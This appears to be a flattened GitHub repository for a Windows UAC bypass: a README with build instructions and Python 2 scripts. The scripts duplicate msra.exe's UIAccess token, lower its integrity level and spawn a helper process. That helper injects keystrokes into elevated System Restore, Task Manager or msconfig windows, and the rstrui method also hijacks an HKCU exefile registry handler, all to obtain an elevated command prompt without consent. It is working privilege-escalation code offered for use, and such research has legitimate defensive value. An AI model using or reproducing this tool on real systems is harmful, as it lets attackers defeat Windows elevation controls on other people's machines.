├── README.md ├── build.py ├── uihack.py └── uub.py /README.md: -------------------------------------------------------------------------------- 1 | # UIAccess UAC bypass 2 | ![alt text](https://img.shields.io/badge/Python-2_only-blue.svg "Python 2 only") 3 | 4 | In these examples, we start a host process (msra.exe) that we steal the UIAccess token from. We downgrade the token IL from Medium+ to Medium. We use the token to spawn a new process (uihack.exe) with the UIAccess flag, we can now send keyboard events to the elevated processes. 5 | 6 | Not designed to be stealthy, but it's for sure possible! This is a demo in Python 2, just to display how it works. 7 | 8 | You need to build the uihack python file to an executable, make sure it stays in *dist* folder. Once you created the uihack executable, you can launch uub.py from a non-elevated command prompt. 9 | 10 | ### Demo: 11 | [![Msconfig demo video](https://i.imgur.com/wv40H4Y.png)](https://vimeo.com/344744930 "Msconfig demo video") 12 | 13 | Here's a few methods, showing how hijacking UIAccess tokens can be used to bypass UAC. 14 | 15 | ### Rstrui method: 16 | This executable is running elevated by default. Since rstrui executable is vulnerable to class hijacking, we use that to spawn our executable which is defined inside uihack file. In order to trigger the hijack, we need to send keyboard events to the window. Upon success, a elevated console window or custom executable should appear. Read more here https://rootm0s.github.io/researching-rstrui-process 17 | 18 | ### Taskmgr method: 19 | This executable is running elevated by default, we send keyboard events to the window in order to launch an elevated console using the "Run new task" feature in Task Manager. Upon success, a elevated console window should appear. 20 | 21 | ### Msconfig method: 22 | This executable is running elevated by default, we send keyboard events to the window in order to navigate through the list of available tools until we reach Command Prompt. Upon success, a elevated console window should appear. 23 | 24 | ## Known issues: 25 | * If the system language is not English, we cannot detect the window since we use FindWindowA API call. 26 | * If the window doesn't appear within 5 seconds, we won't be able to detect the window since it's not visible/created yet. Increasing the sleep-time could probably solve this problem. 27 | 28 | ## Build with py2exe: 29 | In order for a successful build, install the py2exe (http://www.py2exe.org) module and use the provided build.py script to compile all the scripts in to a portable executable. This only seems to work on Python 2, not on Python 3. 30 | 31 | ```python build.py uihack.py``` 32 | 33 | #### Creds to: 34 | * https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html 35 | 36 | #### More UAC bypasses: 37 | * https://github.com/rootm0s/WinPwnage 38 | * https://github.com/hfiref0x/UACME 39 | -------------------------------------------------------------------------------- /build.py: -------------------------------------------------------------------------------- 1 | from distutils.core import setup 2 | import sys 3 | import py2exe 4 | 5 | try: 6 | args = sys.argv[1] 7 | except Exception as error: 8 | sys.exit() 9 | 10 | sys.argv.pop() 11 | sys.argv.append("py2exe") 12 | sys.argv.append("-q") 13 | 14 | # https://docs.python.org/3/library/platform.html#platform.architecture 15 | is_64bits = sys.maxsize > 2**32 16 | print("Building for Win{}...".format(64 if is_64bits else 32)) 17 | 18 | opts = { 19 | "py2exe": { 20 | "compressed": 2, 21 | "optimize": 2, 22 | "bundle_files": 3 if is_64bits else 1, 23 | #"dll_excludes": ["w9xpopen.exe"] 24 | } 25 | } 26 | 27 | setup(console=[args], options=opts, zipfile=None) -------------------------------------------------------------------------------- /uihack.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import _winreg 3 | import time 4 | import sys 5 | import os 6 | 7 | class ShellExecInfo(ctypes.Structure): 8 | _fields_ = [("cbSize", ctypes.c_uint32), 9 | ("fMask", ctypes.c_ulong), 10 | ("hwnd", ctypes.c_void_p), 11 | ("lpVerb", ctypes.c_wchar_p), 12 | ("lpFile", ctypes.c_wchar_p), 13 | ("lpParameters", ctypes.c_wchar_p), 14 | ("lpDirectory", ctypes.c_wchar_p), 15 | ("nShow", ctypes.c_int), 16 | ("hInstApp", ctypes.c_void_p), 17 | ("lpIDList", ctypes.c_void_p), 18 | ("lpClass", ctypes.c_wchar_p), 19 | ("hKeyClass", ctypes.c_void_p), 20 | ("dwHotKey", ctypes.c_uint32), 21 | ("hIcon", ctypes.c_void_p), 22 | ("hProcess", ctypes.c_void_p)] 23 | 24 | 25 | class PROCESS_INFORMATION(ctypes.Structure): 26 | _fields_ = [("hProcess", ctypes.c_void_p), 27 | ("hThread", ctypes.c_void_p), 28 | ("dwProcessId", ctypes.c_ulong), 29 | ("dwThreadId", ctypes.c_ulong)] 30 | 31 | 32 | class disable_fsr(): 33 | disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection 34 | revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection 35 | 36 | def __enter__(self): 37 | self.old_value = ctypes.c_long() 38 | self.success = self.disable(ctypes.byref(self.old_value)) 39 | 40 | def __exit__(self, type, value, traceback): 41 | if self.success: 42 | self.revert(self.old_value) 43 | 44 | 45 | class registry(): 46 | def __init__(self): 47 | self.hkeys = { 48 | 'hkcu': _winreg.HKEY_CURRENT_USER, 49 | 'hklm': _winreg.HKEY_LOCAL_MACHINE 50 | } 51 | 52 | def modify_key(self, hkey, path, name, value, create=False): 53 | try: 54 | if not create: 55 | key = _winreg.OpenKey(self.hkeys[hkey], path, 0, _winreg.KEY_ALL_ACCESS) 56 | else: 57 | key = _winreg.CreateKey(self.hkeys[hkey], os.path.join(path)) 58 | _winreg.SetValueEx(key, name, 0, _winreg.REG_SZ, value) 59 | _winreg.CloseKey(key) 60 | return True 61 | except Exception as e: 62 | return False 63 | 64 | def remove_key(self, hkey, path, name='', delete_key=False): 65 | try: 66 | if delete_key: 67 | _winreg.DeleteKey(self.hkeys[hkey], path) 68 | else: 69 | key = _winreg.OpenKey(self.hkeys[hkey], path, 0, _winreg.KEY_ALL_ACCESS) 70 | _winreg.DeleteValue(key, name) 71 | _winreg.CloseKey(key) 72 | return True 73 | except Exception as e: 74 | print e 75 | return False 76 | 77 | def query_value(self, hkey, path, name): 78 | try: 79 | key = _winreg.OpenKey(self.hkeys[hkey], path, 0, _winreg.KEY_READ) 80 | value = _winreg.QueryValueEx(key, name) 81 | _winreg.CloseKey(key) 82 | except WindowsError: 83 | return None 84 | else: 85 | return value[0] 86 | 87 | 88 | class uihack(): 89 | def __init__(self): 90 | self.VK_SPACE = 0x20 91 | self.VK_RETURN = 0x0D 92 | self.VK_RIGHT = 0x27 93 | self.VK_LEFT = 0x25 94 | self.VK_DOWN = 0x28 95 | self.VK_MENU = 0x12 96 | self.VK_UP = 0x26 97 | self.VK_TAB = 0x09 98 | self.VK_F10 = 0x79 99 | self.VK_C = 0x43 100 | self.VK_M = 0x4D 101 | self.VK_D = 0x44 102 | 103 | def keybd_event(self, keycode): 104 | if ctypes.windll.user32.keybd_event(keycode,0,0x0000,0): 105 | time.sleep(0.1) 106 | if ctypes.windll.user32.keybd_event(keycode,0,0x0002,0): 107 | return True 108 | else: 109 | return False 110 | else: 111 | return False 112 | 113 | def host_process(self, process, params): 114 | shinfo = ShellExecInfo() 115 | shinfo.cbSize = ctypes.sizeof(shinfo) 116 | shinfo.fMask = 0x00000040 117 | shinfo.lpVerb = "runas" 118 | shinfo.lpFile = process 119 | shinfo.nShow = 5 120 | shinfo.lpParameters = params 121 | 122 | with disable_fsr(): 123 | try: 124 | return bool(ctypes.windll.shell32.ShellExecuteExW(ctypes.byref(shinfo))) 125 | except Exception as error: 126 | return False 127 | 128 | def rstrui(self, payload): 129 | # 130 | # This method supports custom payloads 131 | # 132 | if self.host_process("rstrui.exe", "/RUNONCE"): 133 | time.sleep(5) 134 | 135 | if registry().modify_key("hkcu", "Software\\Classes\\exefile\\shell\\runas\\command", None, payload, create=True): 136 | print "[Debug] Registry key created" 137 | else: 138 | print "[Debug] Unable to create registry key" 139 | return False 140 | 141 | print "[Debug] Attempting to locate window 'System Restore' using FindWindowA" 142 | hwnd = ctypes.windll.user32.FindWindowA(None, "System Restore") 143 | if hwnd: 144 | print "[Debug] FindWindowA - HWND: {hwnd}".format(hwnd=hwnd) 145 | if ctypes.windll.user32.SetForegroundWindow(hwnd): 146 | print "[Debug] SetForegroundWindow - HWND: {hwnd}".format(hwnd=hwnd) 147 | if self.keybd_event(self.VK_LEFT): 148 | print "[Debug] keybd_event Press - HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_DOWN) 149 | time.sleep(0.1) 150 | if self.keybd_event(self.VK_RETURN): 151 | print "[Debug] keybd_event Press - HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_DOWN) 152 | time.sleep(0.1) 153 | else: 154 | print "[Debug] Unable to set window to foreground, cannot proceed" 155 | return False 156 | else: 157 | print "[Debug] Unable to locate window, cannot proceed" 158 | return False 159 | 160 | if registry().remove_key("hkcu", "Software\\Classes\\exefile\\shell\\runas\\command", None, delete_key=False): 161 | print "[Debug] Registry key restored" 162 | else: 163 | print "[Debug] Unable to restore registry key" 164 | return False 165 | else: 166 | print "[Debug] Unable to start host process, cannot proceed" 167 | return False 168 | 169 | def taskmgr(self): 170 | # 171 | # This method can spawn an visible elevated command prompt, no 172 | # custom payloads supported unless you execute them via the elevated 173 | # command prompt that pops up upon successful exploitation. 174 | # 175 | if self.host_process("taskmgr.exe", None): 176 | time.sleep(5) 177 | 178 | print "[Debug] Attempting to locate window 'Task Manager' using FindWindowA" 179 | hwnd = ctypes.windll.user32.FindWindowA(None, "Task Manager") 180 | if hwnd: 181 | print "[Debug] FindWindowA - HWND: {hwnd}".format(hwnd=hwnd) 182 | if ctypes.windll.user32.SetForegroundWindow(hwnd): 183 | print "[Debug] SetForegroundWindow - HWND: {hwnd}".format(hwnd=hwnd) 184 | 185 | if self.keybd_event(self.VK_MENU): 186 | print "[Debug] keybd_event - HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_MENU) 187 | time.sleep(0.1) 188 | if self.keybd_event(self.VK_RETURN): 189 | print "[Debug] keybd_event Press- HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_RETURN) 190 | time.sleep(0.1) 191 | if self.keybd_event(self.VK_RETURN): 192 | print "[Debug] keybd_event Press- HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_RETURN) 193 | time.sleep(0.1) 194 | 195 | if self.keybd_event(self.VK_C): 196 | print "[Debug] keybd_event Press- HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_C) 197 | time.sleep(0.1) 198 | if self.keybd_event(self.VK_M): 199 | print "[Debug] keybd_event Press- HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_M) 200 | time.sleep(0.1) 201 | if self.keybd_event(self.VK_D): 202 | print "[Debug] keybd_event Press- HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_D) 203 | time.sleep(0.1) 204 | 205 | if self.keybd_event(self.VK_TAB): 206 | print "[Debug] keybd_event Press- HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_TAB) 207 | time.sleep(0.1) 208 | if self.keybd_event(self.VK_SPACE): 209 | print "[Debug] keybd_event Press- HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_SPACE) 210 | time.sleep(0.1) 211 | if self.keybd_event(self.VK_RETURN): 212 | print "[Debug] keybd_event Press- HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_RETURN) 213 | time.sleep(0.1) 214 | else: 215 | print "[Debug] Unable to set window to foreground, cannot proceed" 216 | return False 217 | else: 218 | print "[Debug] Unable to locate window, cannot proceed" 219 | return False 220 | else: 221 | print "[Debug] Unable to start host process, cannot proceed" 222 | return False 223 | 224 | def msconfig(self): 225 | # 226 | # This method can spawn an visible elevated command prompt, no 227 | # custom payloads supported unless you execute them via the elevated 228 | # command prompt that pops up upon successful exploitation. 229 | # 230 | if self.host_process("msconfig.exe", "-7"): 231 | time.sleep(5) 232 | 233 | print "[Debug] Attempting to locate window 'System Configuration' using FindWindowA" 234 | hwnd = ctypes.windll.user32.FindWindowA(None, "System Configuration") 235 | if hwnd: 236 | print "[Debug] FindWindowA - HWND: {hwnd}".format(hwnd=hwnd) 237 | if ctypes.windll.user32.SetForegroundWindow(hwnd): 238 | print "[Debug] SetForegroundWindow - HWND: {hwnd}".format(hwnd=hwnd) 239 | for x in range(14): 240 | if self.keybd_event(self.VK_DOWN): 241 | print "[Debug] keybd_event - HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_DOWN) 242 | time.sleep(0.1) 243 | 244 | for x in range(2): 245 | if self.keybd_event(self.VK_TAB): 246 | print "[Debug] keybd_event - HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_TAB) 247 | time.sleep(0.1) 248 | 249 | if self.keybd_event(self.VK_RETURN): 250 | print "[Debug] keybd_event - HWND: {hwnd} - keybd_event: {vk_code}".format(hwnd=hwnd, vk_code=self.VK_RETURN) 251 | else: 252 | print "[Debug] Unable to set window to foreground, cannot proceed" 253 | return False 254 | else: 255 | print "[Debug] Unable to locate window, cannot proceed" 256 | return False 257 | else: 258 | print "[Debug] Unable to start host process, cannot proceed" 259 | return False 260 | 261 | uihack().msconfig() 262 | -------------------------------------------------------------------------------- /uub.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import enum 3 | import os 4 | 5 | TOKEN_QUERY = 0x0008 6 | TOKEN_DUPLICATE = 0x0002 7 | TOKEN_ALL_ACCESS = (0x000F0000 | 0x0001 | 0x0002 | 0x0004 | 0x00000008 | 0x0010 | 0x00000020 | 0x0040 | 0x0080 | 0x0100) 8 | 9 | class c_enum(enum.IntEnum): 10 | @classmethod 11 | def from_param(cls, obj): 12 | return ctypes.c_int(cls(obj)) 13 | 14 | class TOKEN_TYPE(c_enum): 15 | TokenPrimary = 1 16 | TokenImpersonation = 2 17 | 18 | class TOKEN_INFORMATION_CLASS(c_enum): 19 | TokenUser = 1 20 | TokenElevation = 20 21 | TokenIntegrityLevel = 25 22 | 23 | class IntegrityLevel(object): 24 | HIGH_RID = 0x00003000 25 | MEDIUM_RID = 0x00002000 26 | MEDIUM_PLUS_RID = MEDIUM_RID + 0x100 27 | 28 | class GroupAttributes(object): 29 | SE_GROUP_ENABLED = 0x00000004 30 | SE_GROUP_INTEGRITY = 0x00000020 31 | SE_GROUP_LOGON_ID = 0xC0000000 32 | SE_GROUP_MANDATORY = 0x00000001 33 | SE_GROUP_OWNER = 0x00000008 34 | SE_GROUP_RESOURCE = 0x20000000 35 | SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010 36 | SE_GROUP_INTEGRITY_ENABLED = 0x00000040 37 | SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002 38 | 39 | class SID_AND_ATTRIBUTES(ctypes.Structure): 40 | _fields_ = [("Sid", ctypes.c_void_p), 41 | ("Attributes", ctypes.c_ulong)] 42 | 43 | class TOKEN_MANDATORY_LABEL(ctypes.Structure): 44 | _fields_ = [("Label", SID_AND_ATTRIBUTES)] 45 | 46 | class SID_IDENTIFIER_AUTHORITY(ctypes.Structure): 47 | _fields_ = [("Value", ctypes.c_byte * 6)] 48 | 49 | class ShellExecInfo(ctypes.Structure): 50 | _fields_ = [("cbSize", ctypes.c_uint32), 51 | ("fMask", ctypes.c_ulong), 52 | ("hwnd", ctypes.c_void_p), 53 | ("lpVerb", ctypes.c_wchar_p), 54 | ("lpFile", ctypes.c_wchar_p), 55 | ("lpParameters", ctypes.c_wchar_p), 56 | ("lpDirectory", ctypes.c_wchar_p), 57 | ("nShow", ctypes.c_int), 58 | ("hInstApp", ctypes.c_void_p), 59 | ("lpIDList", ctypes.c_void_p), 60 | ("lpClass", ctypes.c_wchar_p), 61 | ("hKeyClass", ctypes.c_void_p), 62 | ("dwHotKey", ctypes.c_uint32), 63 | ("hIcon", ctypes.c_void_p), 64 | ("hProcess", ctypes.c_void_p)] 65 | 66 | class PROCESS_INFORMATION(ctypes.Structure): 67 | _fields_ = [("hProcess", ctypes.c_void_p), 68 | ("hThread", ctypes.c_void_p), 69 | ("dwProcessId", ctypes.c_ulong), 70 | ("dwThreadId", ctypes.c_ulong)] 71 | 72 | class STARTUPINFO(ctypes.Structure): 73 | _fields_ = [("cb", ctypes.c_ulong), 74 | ("lpReserved", ctypes.c_char_p), 75 | ("lpDesktop", ctypes.c_char_p), 76 | ("lpTitle", ctypes.c_char_p), 77 | ("dwX", ctypes.c_ulong), 78 | ("dwY", ctypes.c_ulong), 79 | ("dwXSize", ctypes.c_ulong), 80 | ("dwYSize", ctypes.c_ulong), 81 | ("dwXCountChars", ctypes.c_ulong), 82 | ("dwYCountChars", ctypes.c_ulong), 83 | ("dwFillAttribute", ctypes.c_ulong), 84 | ("dwFlags", ctypes.c_ulong), 85 | ("wShowWindow", ctypes.c_ushort), 86 | ("cbReserved2", ctypes.c_ushort), 87 | ("lpReserved2", ctypes.POINTER(ctypes.c_byte)), 88 | ("hStdInput", ctypes.c_void_p), 89 | ("hStdOutput", ctypes.c_void_p), 90 | ("hStdError", ctypes.c_void_p)] 91 | 92 | class disable_fsr(): 93 | disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection 94 | revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection 95 | 96 | def __enter__(self): 97 | self.old_value = ctypes.c_long() 98 | self.success = self.disable(ctypes.byref(self.old_value)) 99 | 100 | def __exit__(self, type, value, traceback): 101 | if self.success: 102 | self.revert(self.old_value) 103 | 104 | 105 | def main(): 106 | if os.path.isfile(os.path.join(os.getcwd(), "dist\\uihack.exe")): 107 | # 108 | # Create the host process 109 | # 110 | shinfo = ShellExecInfo() 111 | shinfo.cbSize = ctypes.sizeof(shinfo) 112 | shinfo.fMask = 0x00000040 113 | shinfo.lpFile = "msra.exe" 114 | shinfo.nShow = 0 115 | shinfo.lpParameters = None 116 | 117 | with disable_fsr(): 118 | if ctypes.windll.shell32.ShellExecuteExW(ctypes.byref(shinfo)): 119 | print "[+] Created host process PID: {pid} using ShellExecuteExW".format(pid=shinfo.hProcess) 120 | else: 121 | print "[-] Unable to create host process using ShellExecuteExW" 122 | return False 123 | 124 | 125 | # 126 | # Open the host process token so we can duplicate it 127 | # 128 | token = ctypes.c_void_p(ctypes.c_void_p(-1).value) 129 | if ctypes.windll.ntdll.NtOpenProcessToken(shinfo.hProcess, (TOKEN_DUPLICATE | TOKEN_QUERY), 130 | ctypes.byref(token)) == ctypes.c_ulong(0xC0000001): 131 | print "[-] Unable to open process token using NtOpenProcessToken" 132 | return False 133 | else: 134 | print "[+] Opened process token using NtOpenProcessToken: {token}".format(token=token) 135 | 136 | 137 | # 138 | # Duplicate primary token 139 | # 140 | dtoken = ctypes.c_void_p(ctypes.c_void_p(-1).value) 141 | if ctypes.windll.ntdll.NtDuplicateToken(token, TOKEN_ALL_ACCESS, None, False, 142 | TOKEN_TYPE.TokenPrimary, ctypes.byref(dtoken)) == ctypes.c_ulong(0xC0000001): 143 | print "[-] Unable to duplicate token using NtDuplicateToken" 144 | return False 145 | else: 146 | print "[+] Duplicated token using NtDuplicateToken: {dtoken}".format(dtoken=dtoken) 147 | 148 | ctypes.windll.ntdll.NtClose(token) 149 | ctypes.windll.ntdll.NtTerminateProcess(shinfo.hProcess, 0) 150 | ctypes.windll.kernel32.CloseHandle(shinfo.hProcess) 151 | 152 | 153 | # 154 | # Lower duplicated token IL from Medium+ to Medium 155 | # 156 | mlAuthority = SID_IDENTIFIER_AUTHORITY((0, 0, 0, 0, 0, 16)) 157 | pIntegritySid = ctypes.c_void_p() 158 | 159 | if ctypes.windll.ntdll.RtlAllocateAndInitializeSid(ctypes.byref(mlAuthority), 1, IntegrityLevel.MEDIUM_RID, 160 | 0, 0, 0, 0, 0, 0, 0, ctypes.byref(pIntegritySid)) == ctypes.c_ulong(0xC0000001): 161 | print "[-] Unable to Initialize Medium SID using RtlAllocateAndInitializeSid" 162 | return False 163 | else: 164 | print "[+] Initialized Medium SID using RtlAllocateAndInitializeSid" 165 | 166 | saa = SID_AND_ATTRIBUTES() 167 | saa.Attributes = GroupAttributes.SE_GROUP_INTEGRITY 168 | saa.Sid = pIntegritySid 169 | 170 | tml = TOKEN_MANDATORY_LABEL() 171 | tml.Label = saa 172 | 173 | if ctypes.windll.ntdll.NtSetInformationToken(dtoken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, 174 | ctypes.byref(tml), ctypes.sizeof(tml)) == ctypes.c_ulong(0xC0000001): 175 | print "[-] Unable to lower duplicated token IL from Medium+ to Medium using NtSetInformationToken" 176 | return False 177 | else: 178 | print "[+] Lowered duplicated token IL from Medium+ to Medium using NtSetInformationToken" 179 | 180 | 181 | # 182 | # Spawn a new process with UIAccess flag and Medium Integrity 183 | # We use this process to send keystrokes to our elevated windows 184 | # 185 | lpStartupInfo = STARTUPINFO() 186 | lpStartupInfo.cb = ctypes.sizeof(lpStartupInfo) 187 | lpStartupInfo.dwFlags = 0x00000001 188 | lpStartupInfo.wShowWindow = 5 189 | lpProcessInformation = PROCESS_INFORMATION() 190 | lpApplicationName = os.path.join(os.getcwd(), "dist\\uihack.exe") 191 | 192 | if not ctypes.windll.advapi32.CreateProcessAsUserA(dtoken, None, lpApplicationName, None, None, False, 193 | (0x04000000 | 0x00000010), None, None, ctypes.byref(lpStartupInfo), 194 | ctypes.byref(lpProcessInformation)): 195 | print "[-] Unable to create process using CreateProcessAsUserA" 196 | return False 197 | else: 198 | print "[+] Created process PID: {pid} using CreateProcessAsUserA".format(pid=lpProcessInformation.dwProcessId) 199 | else: 200 | print "[-] Cannot proceed, uihack executable not found on disk..." 201 | return False 202 | 203 | if __name__ == "__main__": 204 | main() 205 | --------------------------------------------------------------------------------